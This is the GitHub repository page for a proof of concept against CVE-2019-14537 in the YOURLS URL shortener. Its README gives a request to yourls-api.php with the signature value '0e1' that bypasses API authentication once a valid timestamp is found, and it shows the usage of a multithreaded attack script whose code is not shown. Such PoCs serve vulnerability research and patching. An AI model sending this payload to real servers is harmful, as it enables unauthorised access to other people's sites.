Skip to content

Wocanilo/CVE-2019-14537

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

YOURLS: CVE-2019-14537 PoC

alt text

When you get a valid timestamp you will be able to make requests to the api.

http://domain.com/yourls-api.php?signature=0e1&action=db-stats&timestamp=VALID_TIMESTAMP

Usage

usage: main.py [-h] [--vhost VHOST] [--threads THREADS] [--path PATH]
               [--port PORT]
               [ip]

CVE-2019-14537 PoC

positional arguments:
  ip                 Yourls IP

optional arguments:
  -h, --help         show this help message and exit
  --vhost VHOST      host name (domain name)
  --threads THREADS  number of threads (default: 10)
  --path PATH        yourls-api.php path (default: /yourls-api.php)
  --port PORT        port (default: 80)

About

CVE-2019-14537 PoC

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages